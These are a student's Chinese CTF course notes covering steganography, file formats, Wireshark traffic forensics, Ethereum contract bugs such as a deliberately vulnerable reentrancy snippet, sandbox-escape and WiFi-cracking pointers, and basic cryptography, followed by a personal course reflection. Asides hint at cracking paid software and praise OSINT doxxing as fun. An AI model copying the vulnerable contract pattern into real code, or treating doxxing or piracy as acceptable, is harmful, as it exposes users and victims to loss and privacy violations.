- .DS_Store 文件,macOS 下的文件夹布局信息
前面各种工程配置文件等也会泄漏(比如 vs 的 pdb 调试信息) markdown 文件图片路径(本地路径 / 图床用户 / 自建图床网站)
照片信息分析¶
- 识图
- 属性
- 地标
- 天气信息,云层信息,估计方向,位置,时间等
- 风景信息,Yandex搜索
7-9 Misc专题1¶
授课: 45gfg9
长沙,好玩;上课,不好玩
Part1:文件系统基础¶
文件如何存储¶
- 不同的文件系统,不同的组织方式
- MS 派:FAT、NTFS、exFAT、ReFS
- Apple 派:HFS、APFS
- Linux 派:ext[234]、XFS、Btrfs、ZFS...
- 文件是一串二进制数据
- 在 HDD 上是微小磁极的磁化方向
- 在 SSD 上是电荷的存储状态
- “文件名”是由文件系统管理的,不是文件本身数据的一部分
- 文件系统会记录文件名、文件大小、创建时间、修改时间等信息
- 文件内容才是真正的数据
如何判断文件类型¶
- 扩展名
- .jpg , .webp,.txt,.docx
- 是文件名的一部分,可以随意修改
- 决定了打开文件的默认程序
- 内容
- 通过文件内容来识别文件类型
file命令- 不同文件类型有不同的magic number
二进制查看文件与分析¶
- 010 Editor
- 全平台最常用的二进制编辑器,付费软件(但容易破解)
- 有丰富的 binary templates,支持解析多种文件格式
- wader/fg
- Go 编写的开源二进制文件查看工具
- 支持类似 jq 语法的查询
- Hex Fiend
- macOS 上免费开源高效的二进制编辑器
- 也有多种二进制格式的解析模板,但显示没有 010 丰富
- ImHex
- 全平台开源二进制编辑器
- 类似 010 Editor,但使用麻烦一些
- 可以编写自定义解析模板
文件类型检测与元信息¶

文件附加内容的识别与分离¶
- 大部分文件类型都有一个标记文件内容结束的标志
-
比如 PNG 的 IEND 块、JPEG 的 EOI 标志(FF D9)
-
所以一般在文件末尾添加其他字节时,不会影响原文件本身的用途
- 因此有些隐写是将数据隐藏在文件末尾达到的
- 或者在文件后叠加另一份文件
- cat cover.jpg secret.zip > cover_stego.jpg
- 附加内容的识别
- exiftool 一般可以识别图像文件后的附加数据
- binwalk 可以检测叠加的文件
- 附加文件的分离
- binwalk 或 foremost 识别并分离
- dd if=
of= bs=1 skip= 手动分离
Part2: 图像隐写基础技术¶
文件内容基本隐写¶
- 文件末尾添加数据
- exiftool 识别短数据,或者十六进制编辑器直接观察
- binwalk 识别叠加文件,foremost 提取
- 图像末尾叠加一个压缩包,就是所谓的“图种”
- 修改后缀名可能可以解压(部分解压软件会忽略前面的图像)
- 其实不如直接分离
- 直接利用元信息
- exiftool 即可读取
色彩空间、色彩模式¶
色彩空间(sRGB、Adobe RGB、Display P3 等)是一个相对非常复杂的概念,而且是针对显示的,我们不详细介绍
我们注重于表示颜色的数据上,一般称为色彩模式(color mode):
- 二值图像(bitonal):每个像素只有两种颜色,如黑白
- 灰度图像(grayscale):每个像素有多种灰度,如 256 级灰度
- RGB(A):3(+1) 通道,表示 RGB 三种颜色,A 表示透明度通道(印刷常用)
- CMYK:青 cyan、品红 magenta、黄 yellow、黑 black 四种颜色混合
- HSV:色调 hue、饱和度 saturation、明度 value
- HSL:色调 hue、饱和度 saturation、亮度 lightness
- YCbCr:亮度 luminance、蓝色色度 blue chroma、红色色度 red chroma
- LAB:亮度 lightness、绿红色度 A、蓝黄色度 B
- ...
LSB 隐写¶

- 人眼对于微小的颜色变化不敏感
- 对于 8 bit 的颜色值,最低位的变化不会被察觉
- 可以随意修改最低位,而不影响图像的显示效果
- LSB 隐写将颜色通道的最低位用来编码信息
- 图像:stegsolve / CyberChef View Bit Plane
- 数据:stegsolve / CyberChef Extract LSB / zsteg / PIL
PIL 图像处理基础¶
PIL(Python Imaging Library)是 Python 中非常常用的图像处理库
- 安装:pip3 install pillow 或 apt install python3-pil
-
官方文档 / 教程:https://pillow.readthedocs.io/en/stable/
-
基本用法
- from PIL import Image 导入和图像读写处理有关的 Image 类
- img = Image.open(file_name) 打开图像
- img.show() 显示图像;img.save(file_name) 保存图像
- img.size 图像大小,img.mode 图像模式
- img.convert(mode) 转换图像模式
- img.getpixel((x, y)) 获取像素点颜色
- img.putpixel((x, y), color) 设置像素点颜色
- np.array(img) 将图像转换为 numpy 数组
-
具体图像模式以及转换
- '1':黑白二值(0/255);'L':灰度(8 bit),'l':32 bit 灰度
- L = 0.299 R + 0.587 G + 0.114 B
- 'P':8bit 调色盘,获取的像素值是调色盘索引
- 'RGB'、'RGBA'
- 'CMYK':转换时有色差,CMY = 255 - RGB,K = 0
- 'YCbCr'、'LAB'、'HSV' 等,转换时有复杂公式(可能出现新的隐写)
- PIL 其他模块用途
- ImageDraw 用于绘制图像、绘制图形
- ImageChops 用于图像通道的逻辑运算
- ImageOps 用于图像整体的运算一类
- ImageFilter 用于图像的滤波处理
Part3:图像格式介绍¶
图像存储¶
- 图像信息:宽高、色彩模式、色彩空间等
- EXIF 信息:拍摄设备、拍摄时间、GPS 信息等
- 像素数据:每个像素的颜色信息;二值、灰度、RGB、CMYK、调色盘等
- 对于标准 RGB 图像,每个像素需要 24 bits(RGB三个字节,可能有A)
- 对于一张 1080p 图像,需要 6.22 MB(RGB),4K 则需要 24.88 MB(RGBA)
- BMP 格式
- 压力给到了图像格式的压缩算法
- PNG 无损,JPEG 有损
- GIF 有损且只支持 256 色
- 新兴格式如 HEIF、WebP、AVIF 等
JPEG 文件格式¶

JPEG 使用分段的结构来进行存储,各段以 0xFF 开头,后接一个字节表示类型:
- FFD8(SOI):文件开始
- FFE0(APP0):应用程序数据段,包含文件格式信息(上图没有)
- FFE1(APP1):应用程序数据段,包含 EXIF 信息(上图没有)
- FFDB(DQT):量化表数据
- FFC0(SOF):帧数据,包含图像宽高、色彩模式等信息
- FFC4(DHT):huffman 表数据
- FFDA(SOS):扫描数据,包含数据的扫描方式,huffman 表的使用方式等
- FFD9(EOI):文件结束
#### JPEG压缩原理 - JPEG 的压缩原理是 DCT(离散余弦变换)+ Huffman 编码 + 由 RGB 转换到 YCbCr,然后减少 Cb、Cr 的采样率 + 将图像分块,每个块 8x8,进行 DCT 变换 - 将图像转换为频域,便于压缩高频部分 - 量化,将 DCT 变换后的系数除以量化表中的系数 + 再次减少高频部分的数据 + 根据不同的量化表,可以调整压缩质量 - 通过游程编码和 huffman 编码进行压缩
PNG文件格式¶

- 文件头 89 50 4E 47 0D 0A 1A 0A | .PNG....
- 采用分块的方式存储数据
- 每块的结构都是 4 字节长度 + 4 字节类型 + 数据 + 4 字节 CRC 校验
- 四个标准数据块:IHDR、PLTE、IDAT、IEND
- 其他辅助数据块:eXIf、tEXt、zTXt、tIME、gAMA……
- eXIf 元信息,tIME 修改时间,tEXt 文本,zTXt 压缩文本
四种标准数据块:
- IHDR:包含图像基本信息,必须位于开头
- 4 字节宽度 + 4 字节高度
- 1 字节位深度:1、2、4、8、16
- 1 字节颜色类型:0 灰度,2 RGB,3 索引,4 灰度透明,6 RGB 透明
- 1 字节压缩方式,1 字节滤波方式,均固定为 0
- 1 字节扫描方式:0 非隔行扫描,1 Adam7 隔行扫描
- PLTE:调色板,只对索引颜色类型有用
- IDAT:图像数据,可以有多个,每个数据块最大 2 31 -1 字节
- IEND:文件结束标志,必须位于最后,内容固定
- PNG 标准不允许 IEND 之后有数据块
PNG压缩原理¶
- PNG 使用 Deflate 压缩算法
- 是 LZ77 结合 huffman 编码的一种压缩算法
- LZ77:利用滑动窗口,找到最长的重复字符串,用指针和长度表示

- 会进行滤波,减少数据的冗余性,提高压缩率
- 五种滤波器:None、Sub、Up、Average、Paeth
Part4:隐写进阶技术¶
图像大小修改¶
- PNG 图像按行进行像素数据的压缩,以及存储 / 读取
- 当解码时已经达到了 IHDR 中规定的大小就会结束
- 因此题目可能会故意修改 IHDR 中的高度数据,使之显示不全
- 恢复的话更改高度即可,同时注意 crc 校验码,否则可能报错
- binascii.crc32(data),data 为从 IHDR 开始的数据
需要原图的图像隐写¶
有些情况下的图像隐写需要原图才能解密,这时第一步一般是 OSINT 搜索原图
- 使用识图工具进行搜索
- 一般需要搜原图的题题目描述会带有来源暗示之类的
-
多注意搜到的图像大小、质量,确保是真正的原图 接下来利用原图和隐写图像的差异进行分析
-
图像像素异或观察差异
- PIL 手动处理 / ImageChops.difference
- stegsolve image combiner 盲水印系列
- 给了打水印的代码的话直接尝试根据代码逆推即可
- 没有给代码的可能就是常见的现有盲水印工具
-
工具steghide、stegoveritas、SilentEye
音频文件格式简介¶
音频类题目其实并不常出:
- mp3:有损压缩
- 具体格式不多介绍,遇到了基本上也就是声音本身的隐写
- wav:无损无压缩(waveform)
- 直接存储的是音频的波形数据,可操作性更高
- 文件结构也是分 chunk 的,有 RIFF、fmt、data 等
- 编码音频数据的 sample 也可以进行 LSB 隐写
- flac:无损压缩,如果出现可能考虑转换为 wav
- 使用 Python 的 soundfile / librosa 库进行音频处理
- 频谱隐写
- 音频叠加
- 如果可以找到原音频,或提供了原音频,可以进行比较
- 方法是在 Audition 中创建多轨会话
- 将两个音频拖入两个轨道
- 效果 > 匹配响度,将两条音轨的响度匹配
- 点进其中一条音轨,效果 > 反相,将波形上下颠倒
- 两条音轨匹配上波形之后播放 / 混音,就能听到差异了
其他Misc题目¶
ZIP伪加密¶
- ZIP 也使用分段的方式存储数据
- 本地文件记录 50 4B 03 04,可以有多个
- 中央目录记录 50 4B 01 02,可以有多个
- 中央目录结束 50 4B 05 06
- 在中央目录记录中有一个字段记录加密方式
- 如果不为 0 表示有加密
- 其他字段,如最小版本
- 可能修改为一个不合法的值,无法用解压软件解压
沙箱逃逸和 PPC¶
- 沙箱:做了某些限制的隔离环境
- 例如 Docker,或一个沙箱程序,如 rbash
- Python 解释器也可以作为一个沙箱
- 通过限制模块、限制函数、代码审计等方式
-
沙箱逃逸就是在沙箱中执行代码,获取到沙箱外的权限
- Python 的 os 及 importlib 模块是常见的逃逸点
-
PPC 题较为不常见
- 一般是限制代码长度 / 汇编指令,要求实现某个功能
7-9 Misc专题2¶
授课:TonyCrane
Part1:流量取证¶
流量取证基础¶
- 网络流量( > 回顾 web 基础)
- 应用层(HTTP/FTP/ .) > 表示层 > 会话层(SSL/TLS/ .)
-
传输层(TCP/UDP) > 网络层(IP/ICMP/ .)
-
数据链路层 > 物理层
- 最终传输的仍然是二进制数据
- 捕获这些数据,就可以分析得到正在进行的通信内容
- 流量取证一般就是拿到这些数据包(cap、pcap、pcapng 格式)进行分析
- 如有损坏的话修复数据包(少见,pcapfix 可以修复)
- 分析、提取得到正在通信的内容(可能包含有效信息)
- 分析一些特定的、不太常见的协议(比如一些自定义协议)
- 分析、解密一些加密的协议(比如 VMess 等)
流量取证常用工具¶
- tcpdump 抓 TCP 包(Linux 命令行)
- Wireshark:直接抓包,得到物理层的全部数据并解析(开源)
- 自带命令行工具 tshark
- termshark:类似 Wireshark 的开源命令行工具
- pyshark:tshark 的 Python 封装,可以用 Python 脚本分析
- scapy:Python 库,也可以用来分析流量包
Wireshark 基本用法
- 浏览主界面的所有数据包,大致了解都由什么协议组成
- 追踪流(追踪 TCP 流 / 追踪 HTTP 流)
- 得到某次通信的全部数据包,并进行解析
- 另存为,保存流数据
- 可以转换不同的显示形式(ASCII、HEX、Raw)
- 文件 > 导出,提取某些数据包的流内容
- 统计部分
- 协议层次:统计各层协议的数据包数量
- 流量图:统计各个端口的流量,可视化显示
- HTTP:分组计数、请求统计
Wireshark 过滤器
- 过滤协议:直接输入 tcp/udp/http 等
- 过滤 ip:ip.addr = xx.xx.xx.xx 或 ip.src ip.dst
- 过滤端口:tcp.port = 80 或 tcp.srcport tcp.dstport
- 包长度过滤:frame.len ip.len tcp.len ……
- http 过滤
- http.request.method = GET
- http.request.uri = "/index.php"
- http contains "flag"(相当于搜索功能)
HTTP协议流量分析
- 分析统计信息
- 查看所有的 HTTP 请求 URI
- 分析 HTTP 往返的情况,流量整体信息
- 具体分析某些请求:利用过滤器
- 分析某一数据包具体内容
- 跟踪流,跟踪 TCP 解析 TCP,跟踪 HTTP 可以自动解压 gzip 等
- 分析请求头、响应头、请求体、响应体等
UDP 协议
-
UDP 协议是无连接的,不需要像 TCP 一样三次握手
-
和 TCP/HTTP 一样直接追踪分析就可以
- 常见的基于 UDP 的协议:DNS
-
具体题目示例
-
本次 lab 中的题目:dnscap
-
MRCTF 2022:Bleach!
- 基于 UDP 的 RTP 协议,需要手动选择进行解析
- RTP 是一种音视频传输协议,可以得到音频流
- wav 音频流中 LSB 包含隐写图片
-
其他协议
- ICMP 协议:ping
- 某时也会带有一些信息,可以进行进一步分析
-
OICQ 协议:QQ 使用,是加密的,但是可以看到双方 QQ 号等
-
WIFI 协议(IEEE 802.11)
- 可以使用 Linux aircrack 套件爆破密码
- 有了密码后可以在 Wireshark 中设置并解密流量
- USB 协议
- 安装了 USBcap 之后可以在 Wireshark 中捕获 USB 流量
- 有工具可以解析流量,绘制鼠标轨迹,得到按键信息等
- 其他加密协议
- VMess,需要读文档 / 源码,实现解密
Part2:以太坊区块链基础¶
以太坊模型全览¶
区块与世界状态
- 每个区块包含三颗 Merkle 树根节点
- stateRoot 即世界状态树根节点,状态是一组用户状态的组合
- 区块由“矿工”或“验证者”将交易打包形成,后广播到网络中
- 每条交易会引发世界状态的转变,消耗一定 gas
交易与世界状态转变
- 每一条交易都会引起状态的改变
- 多个交易打包到一起,最终状态就是新区块存储的状态
- 交易信息中包含 hash/v/r/s 为交易签名,用于验证交易的合法性
- 合约在 EVM 上执行,执行过程中也有各种漏洞
账户与交易¶
账户
- 外部账户(Externally Owned Account)
- 有一对公私钥,用于签署交易
- 私钥是随机生成的 256 位数(32 字节)
- 公钥由私钥经过 ECDSA 算法计算而来,是一个 64 字节的数
- 地址由公钥经过 Keccak-256 哈希后取前 20 字节得到

- 合约账户(Contract Account)
- 由 EOA 通过交易创建的账户,其中包含合约代码
- 合约可以存储、拥有以太币
- 向合约账户发送交易 > 调用合约中的函数
- 合约本身不能主动发起交易,但可以在被调用时向外发送交易
交易
- 一条交易包含以下内容:
- from:交易发送者地址
- to:交易接收者地址,如果为空则表示是在创建智能合约
- value:交易金额,即发送方要给接收方转移的以太币数量(wei 为单位)
- data:交易数据,如果是创建智能合约则是智能合约代码,如果是调用智能 合约则是调用的函数名和参数
- gasPrice:交易的 gas 价格,即每单位 gas 的价格(wei 为单位)
- gasLimit:交易的 gas 上限,即交易允许执行的最大 gas 数量
- nonce:交易的序号,即发送者已经发送的交易数量
-
除此之外发送的交易数据包还需要包含:
-
hash:交易的哈希值,由前面的内容和 chainId 计算得到
-
v、r、s:交易签名的三个部分,由发送者私钥对交易哈希值进行签名得到 以太币单位
-
关于链与 faucet
-
公开链:真实的交易
-
通过 https: /etherscan.io/ 查看
-
主网(mainnet):真正的金钱交易,很少使用
-
测试链:Sepolia / Holesky 链,可以通过 faucet 获取免费代币
-
https: /sepolia-faucet.pk910.de/
-
Ethernaut 等大型公开合约 CTF 平台会使用
- 私链:自己搭建的链,模拟真实的链
- 一般 CTF 题目都使用私链部署
- 可以通过 geth 等工具部署私链
-
-
智能合约安全基础¶
关于合约
-
合约的创建和调用都通过交易来进行
-
合约调用:
-
data 字段为编码后的函数名(selector)和参数,称为 calldata
-
selector 是函数签名 keccak256 的前四个字节
-
不存在对应 selector 则会调用 fallback 函数,还不存在则 revert
- 合约存储:全公开存储,都在链上,可以 getStorageAt 查看
-
-
revert:回滚,所有当前调用中的状态改变全都复原
-
合约编译后得到字节码在 EVM 上运行:
- https:/ethervm.io/
Solidity 语言
https://note.tonycrane.cc/ctf/blockchain/eth/solidity/ 官方文档:https://docs.soliditylang.org/en/latest/index.html
- 以太坊官方的编写智能合约的语言
- IDE:https: /remix.ethereum.org/
- 通过 contract 关键字声明一个合约
- 通过 function 定义一个可以调用的函数
- public、internal、external、private
- 属性(状态)会自动创建 getter 函数
- 通过 view、pure 关键字定义一个不改变状态的函数
- 通过 payable 关键字定义一个可以接收以太币的函数
- 特殊函数:constructor、fallback、receive
常见漏洞¶
- 重入攻击
contract Bank {
mapping(address > uint256) balances;
.
function withdraw(uint256 amount) public {
require(balances[msg.sender] = amount);
msg.sender.call.value(amount)("");
balances[msg.sender] -= amount;
}
}
withdraw 时先转钱再更新 balances,转钱的时候会进入到目标合约的 fallback 函数,可以再次调用 withdraw,再次调用时require检查的仍然是老的 balances,这样可以把钱取空
- 伪随机数
- 区块链需要所有以太坊节点验证交易计算出相同结果达成共识
- 无法实现真随机数
- 伪随机可以破解:
- 利用区块变量作为随机数:可以获取
- 利用 blockhash 作为随机数:只保留最近 256 个区块
- 回滚攻击:不断 revert 来猜随机数 其他常见漏洞
CTF 比赛中的私链题目交互¶
一般会过滤掉大部分 geth rpc 接口,防止其他队伍扒链蹭车 / 重放
- 白名单示例可见 chainflag/solidctf中的白名单,一般就是这些
-
geth 手动操作很复杂(只能发 raw),remix/metamask 可能会无法连接
-
可以 / 推荐通过 web3.py 进行交互
-
通过 eth.contract 和 abi 与 addr/bytecode 创建合约对象
-
通过 contract.functions.f().build_transaction() 构建交易
-
通过 eth.account.sign_transaction(txn, privateKey) 签名
-
得到 rawTransaction 后 eth.send_raw_transaction(raw) 发送
-
通过 eth.wait_for_transaction_receipt(hash) 等待交易完成
-
无需交易的 view 函数可以直接 contract.functions.f().call()
-
https:/note.tonycrane.cc/ctf/blockchain/eth/basic/ _15
-
more
Read more: note.tonycrane.cc/ctf/blockchain/eth - 以太坊基础知识:账户、交易、合约、区块等,及其原理
-
Solidity 语言:最常用的智能合约语言,以太坊官方语言
-
了解其语法、类型,以及合约运行的整体逻辑
-
了解一些 ERC 标准(目的是看懂题目的合约)
-
以太坊虚拟机(EVM):执行合约字节码的栈结构虚拟机
-
了解其运行原理,与账户、合约、交易的关系,反汇编、反编译的方法
-
交互、测试环境:geth、Remix、MetaMask、web3.js、web3.py 等
- 常见合约漏洞:整型溢出、重入、伪随机、薅羊毛、非预期的远程调用……
Crypto¶
约 1412 个字 2 张图片 预计阅读时间 5 分钟
授课:城堡
密码学基础¶
密码学是研究编制密码和破译密码的技术科学
- 设计加解密算法
- 破解加解密算法
密码学介绍¶
为何需要密码学¶
- 存储:信息的存储可能是不安全的,会被窃取
- 传输:信息的传输过程可能也不是隐秘的,会被窃听
不能直接使用明文进行存储和传输!
Crypto in CTF¶
出题人给定一个有一定缺陷的加密算法,需要选手攻破该加密算法,得到解密后的文字,或者伪造加密信息
比赛中题目虽然常常会涉及许多较新的论文研究结果,但是仍与目前隐私计算等前沿密码学安全研究有一定距离
Crypto学习资源推荐¶
- CTF Wiki
- 4老师倾情推荐的密码学做题网站:CryptoHack
- 密码学入门书籍:An introduction to mathematical cryptography
基本术语¶
- 消息被称为明文(Plaintext)。用某种方法伪装消息以隐藏它的内容的过程称为加密 (Encryption),被加密的消息称为密文(Ciphertext),把密文恢复为明文的过程称为密(Decryption)。
- 密码算法(Cryptography Algorithm):是用于加密和解密的数学函数。
- 密钥(Key):加密或解密所需要的除密码算法之外的关键信息。
- 对称加密(Symmetric Cryptography)
- 特点:在加密和解密时使用同一密钥
- 例子:流密码(RC4),块密码(AES,DES)
- 非对称加密(Asymmetric Cryptography)
- 特点:在加密和解密时使用不同密钥,加密使用公钥,解密使用私钥
- 例子:RSA,ElGamal,ECC
- 哈希函数(Hash Function)
- 特点:把输入内容单向映射到一个短的摘要上
- 应用:下载文件完整性校验
- 例子:CRC,MD5,SHA系列
- 数字签名(Digital Signature)
- 应用:对消息进行签名(也是一个短的消息),以防消息的冒名伪造或篡改

数学基础¶
OI Wiki 数论部分¶
整除:$ a \mid b $¶
- \(\forall a \in \mathbb{Z}~, 1 \mid a\) ;若 \(a \neq 0\),则 \(a \mid 0\) 且 \(a \mid a\)
- 若 \(a \mid b\) 且 \(b \mid c\),则 \(a \mid c\)
- 若 \(a \mid b\) 且 \(a \mid c\),则 \(a \mid (sb + tc)\),其中 \(s, t \in \mathbb{Z}\)
最大公因数(Greatest Common Divisor, GCD):$ \gcd(a, b) $¶
- \(\gcd(a, b) = \gcd(b, a)\)
- \(\gcd(a, b) = \gcd(a, b - a)\)
- \(\gcd(a, b) = \gcd(a, b \mod a)\)
特别的,当 \(a\)、\(b\)互素,即 $ \gcd(a, b) = 1 $时,一定存在整数 \(x, y\) 使得 \(ax + by = 1\)
算数基本定理¶
任何一个大于 \(1\) 的自然数 \(n\) 都可以唯一地分解为若干个素数的乘积 $$ n = p_1^{a_1} \times p_2^{a_2} \cdots \times p_k^{a_k} $$ 其中 \(p_1, p_2, \cdots, p_k\) 是素数,\(a_1, a_2, \cdots, a_k\) 是正整数
同余¶
\(a,b\)对于模\(n\)同余:\(a \equiv b \pmod{n}\)
设 \(a, b, c, d, n\)均为整数,且 \(n \neq 0\),则有:
- $ n \mid a \Leftrightarrow a \equiv b \pmod{n} $
- $ a \equiv a \pmod{n} $
- 若 \(a \equiv b \pmod{n}\),\(c \equiv d \pmod{n}\),则 \(a \pm c \equiv b \pm d \pmod{n}\),\(ac \equiv bd \pmod{n}\)
- 若 \(a \equiv b \pmod{n}\),则 \(a^k \equiv b^k \pmod{n}\)
- 若 \(a \equiv b \pmod{n}\),\(c \equiv d \pmod{n}\),则 \(a^c \equiv b^d \pmod{n}\)
- 若 \(a + b \equiv 0 \pmod{n}\),则称 \(a\) 与 \(b\) 互为加法模 \(n\) 逆元
- 若 \(ab \equiv 1 \pmod{n}\),则称 \(a\) 与 \(b\) 互为乘法模 \(n\) 逆元。\(a\) 的乘法模 \(n\) 逆元记为 \(a^{-1}\) ,\(a\) 有乘法模 \(n\) 逆元当且仅当 \(\gcd(a, n) = 1\)
中国剩余定理¶
若 \(m_1, m_2, \cdots, m_k\) 是两两互质的正整数,则对于任意的整数 \(a_1, a_2, \cdots, a_k\),同余方程组 \[ \begin{cases} x \equiv a_1 \pmod{m_1} \\ x \equiv a_2 \pmod{m_2} \\ \cdots \\ x \equiv a_k \pmod{m_k} \end{cases} \] 对模 \(m = m_{1}m_{1} \cdots m_{1}\) 有唯一解 \(x\)。
设 \(M_i = \frac{m}{m_i}\),则 \(M_i\) 与 \(m_i\) 互质,存在整数 \(N_i\) 使得 \(M_iN_i \equiv 1 \pmod{m_i}\)(\(N_i\) 为 \(M_i\) 的模 \(m_i\) 乘法逆元),则 $$ x = \sum_{i=1}^{k} a_iM_iN_i $$
欧拉函数¶
对于正整数 \(n\),欧拉函数 \(\varphi(n)\) 定义为小于等于 \(n\) 的正整数中与 \(n\) 互质的数的个数
- 若 \(n = p_1^{a_1} \times p_2^{a_2} \cdots \times p_k^{a_k}\),则 \(\varphi(n) = n \times (1 - \frac{1}{p_1}) \times (1 - \frac{1}{p_2}) \cdots (1 - \frac{1}{p_k})\)
- 若 \(n = p^a\),则 \(\varphi(n) = p^a - p^{a-1} = p^{a-1}(p-1)\)
- 若 \(n = p \times q\),且 \(p, q\) 互质,则 \(\varphi(n) = \varphi(p) \times \varphi(q)\)
- 若 \(n = p \times q\),且 \(p, q\) 为不同的质数,则 \(\varphi(n) = (p-1)(q-1) = \varphi(p) \times \varphi(q)\)
欧拉定理¶
若 \(a, n\) 互质,则 \(a^{\varphi(n)} \equiv 1 \pmod{n}\)
费马小定理(欧拉定理的特例):当 \(n\) 为质数时,\(\varphi(n) = n - 1\),即 \(a^{n-1} \equiv 1 \pmod{n}\)
RSA算法¶
- 选择两个大质数 \(p, q\),计算 \(n = p \times q\),\(\varphi(n) = (p-1)(q-1)\)
- 选择 \(e\),使得 \(1 < e < \varphi(n)\),且 \(\gcd(e, \varphi(n)) = 1\)
- 计算 \(d\),使得 \(d \equiv e^{-1} \pmod{\varphi(n)}\) ,即 \(d \times e \equiv 1 \pmod{\varphi(n)}\)
- 于是得到公钥为 \((e, n)\),私钥为 \((d, n)\), 设明文为 \(m\),密文为 \(c\),若消息太长,可将消息分段加密
- 加密:\(c = m^e \mod n\)
- 解密:\(m = c^d \mod n\)
古典密码¶
- 代换(substitution)密码——用新的替换原先的内容
- 置换(permutation)密码——打乱原先的顺序
- Hill密码
凯撒密码¶
又称加法密码,是一种最简单的替换密码,是一种使用恒定偏移量的替换密码,将字母表中的每个字母循环移动固定位数得到密文
- 加密:\(y = \text{encode}(x) = (x + key) \mod 26\)
- 解密:\(x = \text{decode}(y) = (y - key) \mod 26\)
- 破解:暴力枚举观察结果(常见编码ROT13,取\(key = 13\))
一般的凯撒加密只作用于26个字母,但也可拓展到ASCII码表上(常见编码ROT47,将33~126作为字母表,取\(key = 47\))
仿射密码¶
仿射密码是一种线性替换密码,类似于凯撒加密,但不止进行加法
- 加密 \(y = \text{encoude}(x) = (x \times key_1 + key_2) \mod 26\)
- 解密 \(x = \text{decode}(y) = (y - key_2) \times key_1^{-1} \mod 26\)
- 破解:单表密码加密前后的字符是一一对应的,不会破坏统计规律,根据英文文本中字母出现的频率以及一些常见单词即可轻松破解(如
the,and,youa等)
维吉尼亚密码¶
一种多表加密的替换密码,密钥任意长,并且以循环使用,第 \(i\) 个字符用第 \(i\) 个密钥进行偏移
- 加密:\(y_i = \text{encode}(x_i) = (x_i + key_i) \mod 26\)
- 解密:\(x_i = \text{decode}(y_i) = (y_i - key_i) \mod 26\)

例:明文CRANE,密钥TONY
- (C, T) \(\rightarrow\) V
- (R, O) \(\rightarrow\) F
- (A, N) \(\rightarrow\) N
- (N, Y) \(\rightarrow\) L
- (E, T) \(\rightarrow\) X
破解:确定密钥长度 \(\rightarrow\) 分组爆破加法密码 \(\rightarrow\) 得到密钥
置换密码¶
加密变换使得信息元素只有位置变化而内容不变,比如对于一种置换密码,其置换表为
| X | 1 | 2 | 3 | 4 | 5 | 6 |
|---|---|---|---|---|---|---|
| E(X) | 3 | 5 | 1 | 6 | 4 | 2 |
对于明文\(\texttt{crypto basic}\),先进行分组(不足需填充):\(\texttt{[crypto]}\)和\(\texttt{[ basic]}\),然后对每一组进行置换: 对每一组进行置换: \(\texttt{[crypto]} \rightarrow \texttt{[yoctrp]}\) \(\texttt{[ basic]} \rightarrow \texttt{[ac ibs]}\) 最终密文就是\(\texttt{yoctrpac ibs}\)
栅栏密码¶
栅栏密码也是一种置换密码,其将明文分割成k行,然后重新拼接,这里k即为加密的密钥
对于明文\(\texttt{crypto basic}\),取 \(k=3\) ,将明文分割成三行
c |
p |
s |
|
|---|---|---|---|
| r | t | b | i |
| y | o | a | c |
因此得到的密文为\(\texttt{cp srtbiyoac}\)
Hill密码¶
希尔密码是运用基本线性代数原理实现的替换密码
每个字母当作26进制数字,将一串字母当成 \(n\) 维向量,与一个 \(n \times n\) 的矩阵相乘,再将得出的结果 mod 26,其中这个 \(n \times n\) 矩阵就是密钥
比如明文 \(\texttt{IT}\) ,转换成26进制为$P = \begin{bmatrix} 9 & 20 \end{bmatrix} $,加密密钥 $ K = \begin{bmatrix} 11 & 8 \\ 3 & 7 \end{bmatrix} $
密文即为$ C = P \times K = \begin{bmatrix} 159 & 212 \end{bmatrix}\mod 26 = \begin{bmatrix} 3 & 4 \end{bmatrix} $,转回字母即 $\texttt{CD} $ 解密只需要计算 \(K\) 的逆矩阵即可,$ P = C \times K^{-1} = \begin{bmatrix} 3 & 4 \end{bmatrix} \times \begin{bmatrix} 7 & 18 \\ 23 & 11 \end{bmatrix} = \begin{bmatrix} 9 & 20 \end{bmatrix} $,再转回字母即 $\texttt{IT} $
Reverse
约 13 个字 预计阅读时间不到 1 分钟
7-5 lec4-reverse¶
授课:我没听
我去长沙玩辣
短学期结课心得¶
约 592 个字 预计阅读时间 2 分钟
回来吧我的matlab
(x)
现在是2024年7月24日,北京时间晚上23:08分,刚农了几把,四负一胜,淦!
洗了个澡,Crypto的专题一的lab今天截至,交了,专题二的27号才交,还不想写,闲来无事,写一个上这门课的感受吧。
课,是好的,我,是菜的。真的难,但是做出来的瞬间也是真的爽,CTF对自学能力要求很高,如果喜欢填鸭式教育,喜欢老师把知识嚼碎了喂到嘴里的话,是万万不可选的。这个月为了CTF不知道往电脑里面塞了多少小玩意。(也往脑子里面塞了很多东西)
选了Misc和Crypto两个方向,与其说真的感兴趣,不如说这两个对于二进制的要求的比较低。Web嘛,兴趣不大。
Misc是真的好玩,7月3日刚到长沙那晚就被OSINT迷得不行,开盒,爽。也对编解码有了豁然开朗的认识。专题一的三道图片隐写感觉偏向工具使用,spetrogram比较迷人,从gif到音频,从0开始的python学习,让我享受的是全心全意投入知识的感觉,“用眼睛听音乐”,当旋律在耳中响起,似乎我也能与傅里叶产生些许共鸣,但是由于一开始没注意到使用的python版本导致只能跑出来一个着实有点高血压。Misc专题二是区块链和以太坊,全新的的领域,也是有点好玩的,但是掌握可能没这么快,后面可能还会再看看吧
Crypto只有lab0和维吉尼亚密码是顺畅做下去的,HSC线代的方面没拐过弯来,专题二更是折磨中的折磨,不过好在今天总算是做完了。
虽然总是和同学吐槽后悔不选matlab那个水水的,但是CTF101的的确确让我学到很多的东西, 但就做题过程中学会的python各种库的骚操作就够开一门课的感觉……也让我直观的感受到计算机这个专业还有那么多,那么广的,那么深的领域我从未涉足。虽然累吧,但总之受益匪浅。
完结撒花~
My Friends¶
约 117 个字 预计阅读时间不到 1 分钟







